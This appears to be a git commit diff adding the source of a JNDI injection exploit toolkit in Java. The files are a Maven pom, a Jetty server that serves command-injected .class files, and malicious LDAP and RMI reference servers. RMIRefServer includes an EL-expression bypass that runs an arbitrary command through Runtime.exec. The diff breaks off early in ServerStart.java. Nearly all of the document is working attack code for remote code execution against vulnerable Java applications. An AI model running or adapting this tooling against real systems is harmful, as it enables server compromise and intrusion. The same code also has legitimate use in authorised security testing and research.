commit codes
This commit is contained in:
143
pom.xml
Normal file
143
pom.xml
Normal file
@@ -0,0 +1,143 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
||||
<groupId>welk1n</groupId>
|
||||
<artifactId>JNDI-Injection-Exploit</artifactId>
|
||||
<version>1.0-SNAPSHOT</version>
|
||||
|
||||
<properties>
|
||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||
<jetty.version>8.1.9.v20130131</jetty.version>
|
||||
<compiler.version>1.8</compiler.version>
|
||||
</properties>
|
||||
|
||||
|
||||
<dependencies>
|
||||
<!-- Util -->
|
||||
<dependency>
|
||||
<groupId>org.ow2.asm</groupId>
|
||||
<artifactId>asm</artifactId>
|
||||
<version>7.1</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.javassist</groupId>
|
||||
<artifactId>javassist</artifactId>
|
||||
<version>3.19.0-GA</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.reflections</groupId>
|
||||
<artifactId>reflections</artifactId>
|
||||
<version>0.9.9</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.slf4j</groupId>
|
||||
<artifactId>slf4j-nop</artifactId>
|
||||
<version>1.7.24</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.apache.commons</groupId>
|
||||
<artifactId>commons-lang3</artifactId>
|
||||
<version>3.4</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>commons-cli</groupId>
|
||||
<artifactId>commons-cli</artifactId>
|
||||
<version>1.3</version>
|
||||
</dependency>
|
||||
|
||||
|
||||
<!-- For LDAP reference jndi -->
|
||||
<dependency>
|
||||
<groupId>com.unboundid</groupId>
|
||||
<artifactId>unboundid-ldapsdk</artifactId>
|
||||
<version>3.1.1</version>
|
||||
</dependency>
|
||||
|
||||
<!-- Jetty -->
|
||||
<dependency>
|
||||
<groupId>org.eclipse.jetty.aggregate</groupId>
|
||||
<artifactId>jetty-webapp</artifactId>
|
||||
<version>${jetty.version}</version>
|
||||
</dependency>
|
||||
|
||||
<!-- Bypass JDK 1.8.0_191+ -->
|
||||
<!-- <dependency>-->
|
||||
<!-- <groupId>org.springframework.boot</groupId>-->
|
||||
<!-- <artifactId>spring-boot-starter-web</artifactId>-->
|
||||
<!-- <version>2.1.1.RELEASE</version>-->
|
||||
<!-- </dependency>-->
|
||||
|
||||
<dependency>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-catalina</artifactId>
|
||||
<version>8.5.38</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.tomcat</groupId>
|
||||
<artifactId>tomcat-jasper-el</artifactId>
|
||||
<version>8.5.38</version>
|
||||
</dependency>
|
||||
<!-- <dependency>-->
|
||||
<!-- <groupId>org.codehaus.groovy</groupId>-->
|
||||
<!-- <artifactId>groovy</artifactId>-->
|
||||
<!-- <version>2.4.5</version>-->
|
||||
<!-- </dependency>-->
|
||||
|
||||
<!-- test -->
|
||||
<dependency>
|
||||
<groupId>junit</groupId>
|
||||
<artifactId>junit</artifactId>
|
||||
<version>4.12</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-compiler-plugin</artifactId>
|
||||
<configuration>
|
||||
<source>${compiler.version}</source>
|
||||
<target>${compiler.version}</target>
|
||||
</configuration>
|
||||
</plugin>
|
||||
|
||||
<plugin>
|
||||
<artifactId>maven-assembly-plugin</artifactId>
|
||||
<version>2.5.5</version>
|
||||
<configuration>
|
||||
<finalName>${project.artifactId}-${project.version}-all</finalName>
|
||||
<appendAssemblyId>false</appendAssemblyId>
|
||||
<descriptorRefs>
|
||||
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||
</descriptorRefs>
|
||||
<archive>
|
||||
<manifest>
|
||||
<mainClass>run.ServerStart</mainClass>
|
||||
</manifest>
|
||||
</archive>
|
||||
</configuration>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>make-assembly</id>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>single</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
|
||||
</project>
|
||||
BIN
src/.DS_Store
vendored
Normal file
BIN
src/.DS_Store
vendored
Normal file
Binary file not shown.
BIN
src/main/.DS_Store
vendored
Normal file
BIN
src/main/.DS_Store
vendored
Normal file
Binary file not shown.
BIN
src/main/java/.DS_Store
vendored
Normal file
BIN
src/main/java/.DS_Store
vendored
Normal file
Binary file not shown.
113
src/main/java/jetty/JettyServer.java
Normal file
113
src/main/java/jetty/JettyServer.java
Normal file
@@ -0,0 +1,113 @@
|
||||
package jetty;
|
||||
|
||||
import org.eclipse.jetty.server.Server;
|
||||
import org.eclipse.jetty.servlet.ServletHandler;
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.*;
|
||||
import java.net.URLEncoder;
|
||||
|
||||
import static run.ServerStart.getLocalTime;
|
||||
import static util.Transformers.insertCommand;
|
||||
|
||||
/**
|
||||
* @Classname JettyServer
|
||||
* @Description HTTPServer supply .class file which execute command by Runtime.getRuntime.exec()
|
||||
* @Author welkin
|
||||
*/
|
||||
public class JettyServer implements Runnable{
|
||||
private int port;
|
||||
private Server server;
|
||||
private static String command;
|
||||
|
||||
// public JettyServer(int port) {
|
||||
// this.port = port;
|
||||
// server = new Server(port);
|
||||
// command = "open /Applications/Calculator.app";
|
||||
// }
|
||||
|
||||
public JettyServer(int port,String cmd) {
|
||||
this.port = port;
|
||||
server = new Server(port);
|
||||
command = cmd;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run() {
|
||||
ServletHandler handler = new ServletHandler();
|
||||
server.setHandler(handler);
|
||||
|
||||
handler.addServletWithMapping(DownloadServlet.class, "/*");
|
||||
try {
|
||||
server.start();
|
||||
server.join();
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@SuppressWarnings("serial")
|
||||
public static class DownloadServlet extends HttpServlet {
|
||||
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
|
||||
|
||||
String filename = request.getRequestURI().substring(1);
|
||||
InputStream in = checkFilename(filename);
|
||||
byte[] transformed;
|
||||
ByteArrayInputStream bain = null;
|
||||
|
||||
if (in != null) {
|
||||
try {
|
||||
transformed = insertCommand(in,command);
|
||||
bain = new ByteArrayInputStream(transformed);
|
||||
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
System.out.println(getLocalTime() + " [JETTYSERVER]>> Byte array build failed.");
|
||||
}
|
||||
|
||||
System.out.println(getLocalTime() + " [JETTYSERVER]>> Log a request to " + request.getRequestURL());
|
||||
response.setStatus(HttpServletResponse.SC_OK);
|
||||
response.setHeader("content-disposition", "attachment;filename="+URLEncoder.encode(filename, "UTF-8"));
|
||||
|
||||
int len ;
|
||||
byte[] buffer = new byte[1024];
|
||||
OutputStream out = response.getOutputStream();
|
||||
if (bain != null){
|
||||
while ((len = bain.read(buffer)) > 0) {
|
||||
out.write(buffer,0,len);
|
||||
}
|
||||
bain.close();
|
||||
}else {
|
||||
System.out.println(getLocalTime() + " [JETTYSERVER]>> Read file error!");
|
||||
}
|
||||
}else {
|
||||
System.out.println(getLocalTime() + " [JETTYSERVER]>> URL("+ request.getRequestURL() +") Not Exist!");
|
||||
}
|
||||
}
|
||||
|
||||
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
|
||||
doGet(request, response);
|
||||
}
|
||||
}
|
||||
|
||||
private static InputStream checkFilename(String filename){
|
||||
String template;
|
||||
switch (filename){
|
||||
case "ExecTemplateJDK7.class":
|
||||
template = "template/ExecTemplateJDK7.class";
|
||||
break;
|
||||
case "ExecTemplateJDK8.class":
|
||||
template = "template/ExecTemplateJDK8.class";
|
||||
break;
|
||||
// TODO:Add more
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
return Thread.currentThread().getContextClassLoader().getResourceAsStream(template);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
153
src/main/java/jndi/LDAPRefServer.java
Normal file
153
src/main/java/jndi/LDAPRefServer.java
Normal file
@@ -0,0 +1,153 @@
|
||||
/* MIT License
|
||||
|
||||
Copyright (c) 2017 Moritz Bechler
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
package jndi;
|
||||
|
||||
|
||||
import java.net.InetAddress;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
|
||||
import javax.net.ServerSocketFactory;
|
||||
import javax.net.SocketFactory;
|
||||
import javax.net.ssl.SSLSocketFactory;
|
||||
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
||||
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
||||
import com.unboundid.ldap.sdk.*;
|
||||
import util.Mapper;
|
||||
|
||||
import static run.ServerStart.getLocalTime;
|
||||
|
||||
|
||||
/**
|
||||
* LDAP jndi implementation returning JNDI references
|
||||
*
|
||||
* @author mbechler welkin
|
||||
*
|
||||
*/
|
||||
public class LDAPRefServer implements Runnable{
|
||||
|
||||
private static final String LDAP_BASE = "dc=example,dc=com";
|
||||
private int port;
|
||||
private URL codebase_url;
|
||||
|
||||
public LDAPRefServer(int port, URL codebase_url) {
|
||||
this.port = port;
|
||||
this.codebase_url = codebase_url;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run () {
|
||||
// int port = 1389;
|
||||
|
||||
// try {
|
||||
// Class.forName("util.Mapper");
|
||||
// }catch (ClassNotFoundException e){
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
|
||||
// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
|
||||
// System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
|
||||
// System.exit(-1);
|
||||
// }
|
||||
// else if ( args.length > 1 ) {
|
||||
// port = Integer.parseInt(args[ 1 ]);
|
||||
// }
|
||||
|
||||
try {
|
||||
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
|
||||
config.setListenerConfigs(new InMemoryListenerConfig(
|
||||
"listen", //$NON-NLS-1$
|
||||
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
|
||||
port,
|
||||
ServerSocketFactory.getDefault(),
|
||||
SocketFactory.getDefault(),
|
||||
(SSLSocketFactory) SSLSocketFactory.getDefault()));
|
||||
|
||||
config.addInMemoryOperationInterceptor(new OperationInterceptor(this.codebase_url));
|
||||
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
|
||||
System.out.println(getLocalTime() + " [LDAPSERVER] >> Listening on 0.0.0.0:" + port); //$NON-NLS-1$
|
||||
ds.startListening();
|
||||
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private static class OperationInterceptor extends InMemoryOperationInterceptor {
|
||||
|
||||
private URL codebase;
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
public OperationInterceptor ( URL cb ) {
|
||||
this.codebase = cb;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
|
||||
*/
|
||||
@Override
|
||||
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
|
||||
String base = result.getRequest().getBaseDN();
|
||||
Entry e = new Entry(base);
|
||||
try {
|
||||
sendResult(result, base, e);
|
||||
}
|
||||
catch ( Exception e1 ) {
|
||||
e1.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
|
||||
|
||||
String cbstring = this.codebase.toString();
|
||||
String javaFactory = Mapper.references.get(base);
|
||||
|
||||
if (javaFactory != null){
|
||||
URL turl = new URL(cbstring + javaFactory.concat(".class"));
|
||||
System.out.println(getLocalTime() + " [LDAPSERVER] >> Send LDAP reference result for " + base + " redirecting to " + turl);
|
||||
e.addAttribute("javaClassName", "foo");
|
||||
e.addAttribute("javaCodeBase", cbstring);
|
||||
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
|
||||
e.addAttribute("javaFactory", javaFactory);
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}else {
|
||||
System.out.println(getLocalTime() + " [LDAPSERVER] >> Reference that matches the name(" + base + ") is not found.");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
463
src/main/java/jndi/RMIRefServer.java
Normal file
463
src/main/java/jndi/RMIRefServer.java
Normal file
@@ -0,0 +1,463 @@
|
||||
package jndi;
|
||||
|
||||
|
||||
import java.io.BufferedInputStream;
|
||||
import java.io.BufferedOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.ObjectStreamClass;
|
||||
import java.io.OutputStream;
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.SocketException;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.rmi.MarshalException;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.UID;
|
||||
import java.util.Arrays;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.net.ServerSocketFactory;
|
||||
|
||||
import com.sun.jndi.rmi.registry.ReferenceWrapper;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import util.Mapper;
|
||||
import util.Reflections;
|
||||
import sun.rmi.server.UnicastServerRef;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import static run.ServerStart.getLocalTime;
|
||||
|
||||
|
||||
/**
|
||||
* Generic JRMP listener
|
||||
*
|
||||
* JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
|
||||
*
|
||||
* This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
|
||||
*
|
||||
* @author mbechler welkin
|
||||
*
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"restriction"
|
||||
} )
|
||||
public class RMIRefServer implements Runnable {
|
||||
|
||||
public String command;
|
||||
|
||||
private int port;
|
||||
private ServerSocket ss;
|
||||
private Object waitLock = new Object();
|
||||
private boolean exit;
|
||||
private boolean hadConnection;
|
||||
private URL classpathUrl;
|
||||
|
||||
|
||||
public RMIRefServer ( int port, URL classpathUrl ) throws IOException {
|
||||
this.port = port;
|
||||
this.classpathUrl = classpathUrl;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
}
|
||||
|
||||
public RMIRefServer ( int port, URL classpathUrl, String command) throws IOException {
|
||||
this.port = port;
|
||||
this.classpathUrl = classpathUrl;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
|
||||
this.command = command;
|
||||
}
|
||||
|
||||
public boolean waitFor ( int i ) {
|
||||
try {
|
||||
if ( this.hadConnection ) {
|
||||
return true;
|
||||
}
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Waiting for connection");
|
||||
synchronized ( this.waitLock ) {
|
||||
this.waitLock.wait(i);
|
||||
}
|
||||
return this.hadConnection;
|
||||
}
|
||||
catch ( InterruptedException e ) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
public void close () {
|
||||
this.exit = true;
|
||||
try {
|
||||
this.ss.close();
|
||||
}
|
||||
catch ( IOException e ) {}
|
||||
synchronized ( this.waitLock ) {
|
||||
this.waitLock.notify();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static final void main ( final String[] args ) {
|
||||
int port = 1099;
|
||||
// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
|
||||
// System.err.println(RMIRefServer.class.getName() + "<codebase_url#classname> [<port>]");
|
||||
// System.exit(-1);
|
||||
// return;
|
||||
// }
|
||||
// if ( args.length >= 2 ) {
|
||||
// port = Integer.parseInt(args[ 1 ]);
|
||||
// }
|
||||
|
||||
//trigger static code in Mapper
|
||||
try {
|
||||
Class.forName("util.Mapper");
|
||||
}catch (ClassNotFoundException e){
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
try {
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Opening JRMP listener on " + port);
|
||||
RMIRefServer c = new RMIRefServer(port, new URL("http://testlocal.com:8080/"));
|
||||
c.run();
|
||||
} catch ( Exception e ) {
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public void run () {
|
||||
try {
|
||||
@SuppressWarnings ( "resource" )
|
||||
Socket s = null;
|
||||
try {
|
||||
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
|
||||
try {
|
||||
s.setSoTimeout(5000);
|
||||
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Have connection from " + remote);
|
||||
|
||||
InputStream is = s.getInputStream();
|
||||
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||
|
||||
// Read magic (or HTTP wrapper)
|
||||
bufIn.mark(4);
|
||||
try ( DataInputStream in = new DataInputStream(bufIn) ) {
|
||||
int magic = in.readInt();
|
||||
|
||||
short version = in.readShort();
|
||||
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
OutputStream sockOut = s.getOutputStream();
|
||||
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||
try ( DataOutputStream out = new DataOutputStream(bufOut) ) {
|
||||
|
||||
byte protocol = in.readByte();
|
||||
switch ( protocol ) {
|
||||
case TransportConstants.StreamProtocol:
|
||||
out.writeByte(TransportConstants.ProtocolAck);
|
||||
if ( remote.getHostName() != null ) {
|
||||
out.writeUTF(remote.getHostName());
|
||||
}
|
||||
else {
|
||||
out.writeUTF(remote.getAddress().toString());
|
||||
}
|
||||
out.writeInt(remote.getPort());
|
||||
out.flush();
|
||||
in.readUTF();
|
||||
in.readInt();
|
||||
case TransportConstants.SingleOpProtocol:
|
||||
doMessage(s, in, out);
|
||||
break;
|
||||
default:
|
||||
case TransportConstants.MultiplexProtocol:
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Unsupported protocol");
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
bufOut.flush();
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch ( InterruptedException e ) {
|
||||
return;
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
finally {
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Closing connection");
|
||||
s.close();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
finally {
|
||||
if ( s != null ) {
|
||||
s.close();
|
||||
}
|
||||
if ( this.ss != null ) {
|
||||
this.ss.close();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
catch ( SocketException e ) {
|
||||
return;
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception {
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Reading message...");
|
||||
|
||||
int op = in.read();
|
||||
|
||||
switch ( op ) {
|
||||
case TransportConstants.Call:
|
||||
// service incoming RMI call
|
||||
doCall(in, out);
|
||||
break;
|
||||
|
||||
case TransportConstants.Ping:
|
||||
// send ack for ping
|
||||
out.writeByte(TransportConstants.PingAck);
|
||||
break;
|
||||
|
||||
case TransportConstants.DGCAck:
|
||||
UID.read(in);
|
||||
break;
|
||||
|
||||
default:
|
||||
throw new IOException(getLocalTime() + " [RMISERVER] >> unknown transport op " + op);
|
||||
}
|
||||
|
||||
s.close();
|
||||
}
|
||||
|
||||
|
||||
private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {
|
||||
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||
|
||||
@Override
|
||||
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
|
||||
if ( "[Ljava.rmi.jndi.ObjID;".equals(desc.getName()) ) {
|
||||
return ObjID[].class;
|
||||
}
|
||||
else if ( "java.rmi.jndi.ObjID".equals(desc.getName()) ) {
|
||||
return ObjID.class;
|
||||
}
|
||||
else if ( "java.rmi.jndi.UID".equals(desc.getName()) ) {
|
||||
return UID.class;
|
||||
}
|
||||
else if ( "java.lang.String".equals(desc.getName()) ) {
|
||||
return String.class;
|
||||
}
|
||||
throw new IOException(getLocalTime() + " [RMISERVER] >> Not allowed to read object");
|
||||
}
|
||||
};
|
||||
|
||||
ObjID read;
|
||||
try {
|
||||
read = ObjID.read(ois);
|
||||
}
|
||||
catch ( IOException e ) {
|
||||
throw new MarshalException(getLocalTime() + " [RMISERVER] >> unable to read objID", e);
|
||||
}
|
||||
|
||||
if ( read.hashCode() == 2 ) {
|
||||
// DGC
|
||||
handleDGC(ois);
|
||||
}
|
||||
else if ( read.hashCode() == 0 ) {
|
||||
if ( handleRMI(ois, out) ) {
|
||||
this.hadConnection = true;
|
||||
synchronized ( this.waitLock ) {
|
||||
this.waitLock.notifyAll();
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param ois
|
||||
* @param out
|
||||
* @throws IOException
|
||||
* @throws ClassNotFoundException
|
||||
// * @throws NamingException
|
||||
*/
|
||||
private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
|
||||
int method = ois.readInt(); // method
|
||||
ois.readLong(); // hash
|
||||
|
||||
if ( method != 2 ) { // lookup
|
||||
return false;
|
||||
}
|
||||
|
||||
String object = (String) ois.readObject();
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method);
|
||||
|
||||
String cpstring = this.classpathUrl.toString();
|
||||
String reference = Mapper.references.get(object);
|
||||
|
||||
if (reference == null) {
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found.");
|
||||
return false;
|
||||
}
|
||||
URL turl = new URL(cpstring + "#" + reference);
|
||||
out.writeByte(TransportConstants.Return);// transport op
|
||||
try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
|
||||
|
||||
oos.writeByte(TransportConstants.NormalReturn);
|
||||
new UID().write(oos);
|
||||
|
||||
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
|
||||
|
||||
if (reference.startsWith("Bypass")){
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference.");
|
||||
Reflections.setFieldValue(rw, "wrappee", execByEL());
|
||||
|
||||
}else {
|
||||
System.out.println(
|
||||
String.format(
|
||||
getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s",
|
||||
new URL(cpstring + reference.concat(".class"))));
|
||||
|
||||
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
|
||||
}
|
||||
Field refF = RemoteObject.class.getDeclaredField("ref");
|
||||
refF.setAccessible(true);
|
||||
refF.set(rw, new UnicastServerRef(12345));
|
||||
|
||||
oos.writeObject(rw);
|
||||
|
||||
oos.flush();
|
||||
out.flush();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/*
|
||||
* Need : Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because of javax.el.ELProcessor.
|
||||
*/
|
||||
public ResourceRef execByEL() {
|
||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
|
||||
ref.add(new StringRefAddr("forceString", "x=eval"));
|
||||
ref.add(new StringRefAddr("x", String.format(
|
||||
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
|
||||
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
|
||||
")",
|
||||
this.command
|
||||
)));
|
||||
return ref;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param ois
|
||||
* @throws IOException
|
||||
* @throws ClassNotFoundException
|
||||
*/
|
||||
private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException {
|
||||
ois.readInt(); // method
|
||||
ois.readLong(); // hash
|
||||
System.out.println(getLocalTime() + " [RMISERVER] >> Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings ( "deprecation" )
|
||||
protected static Object makeDummyObject ( String className ) {
|
||||
try {
|
||||
ClassLoader isolation = new ClassLoader() {};
|
||||
ClassPool cp = new ClassPool();
|
||||
cp.insertClassPath(new ClassClassPath(Dummy.class));
|
||||
CtClass clazz = cp.get(Dummy.class.getName());
|
||||
clazz.setName(className);
|
||||
return clazz.toClass(isolation).newInstance();
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace();
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
|
||||
public static class Dummy implements Serializable {
|
||||
|
||||
private static final long serialVersionUID = 1L;
|
||||
|
||||
}
|
||||
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
private URL sendUrl;
|
||||
|
||||
|
||||
public MarshalOutputStream ( OutputStream out, URL u ) throws IOException {
|
||||
super(out);
|
||||
this.sendUrl = u;
|
||||
}
|
||||
|
||||
|
||||
MarshalOutputStream ( OutputStream out ) throws IOException {
|
||||
super(out);
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
protected void annotateClass ( Class<?> cl ) throws IOException {
|
||||
if ( this.sendUrl != null ) {
|
||||
writeObject(this.sendUrl.toString());
|
||||
}
|
||||
else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {
|
||||
writeObject(null);
|
||||
}
|
||||
else {
|
||||
URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
|
||||
String cb = "";
|
||||
|
||||
for ( URL u : us ) {
|
||||
cb += u.toString();
|
||||
}
|
||||
writeObject(cb);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Serializes a location from which to load the specified class.
|
||||
*/
|
||||
@Override
|
||||
protected void annotateProxyClass ( Class<?> cl ) throws IOException {
|
||||
annotateClass(cl);
|
||||
}
|
||||
}
|
||||
}
|
||||
146
src/main/java/run/ServerStart.java
Normal file
146
src/main/java/run/ServerStart.java
Normal file
@@ -0,0 +1,146 @@
|
||||
package run;
|
||||
|
||||
import jetty.JettyServer;
|
||||
import jndi.LDAPRefServer;
|
||||
import jndi.RMIRefServer;
|
||||
import org.apache.commons.cli.*;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.net.*;
|
||||
import java.text.DateFormat;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.Date;
|
||||
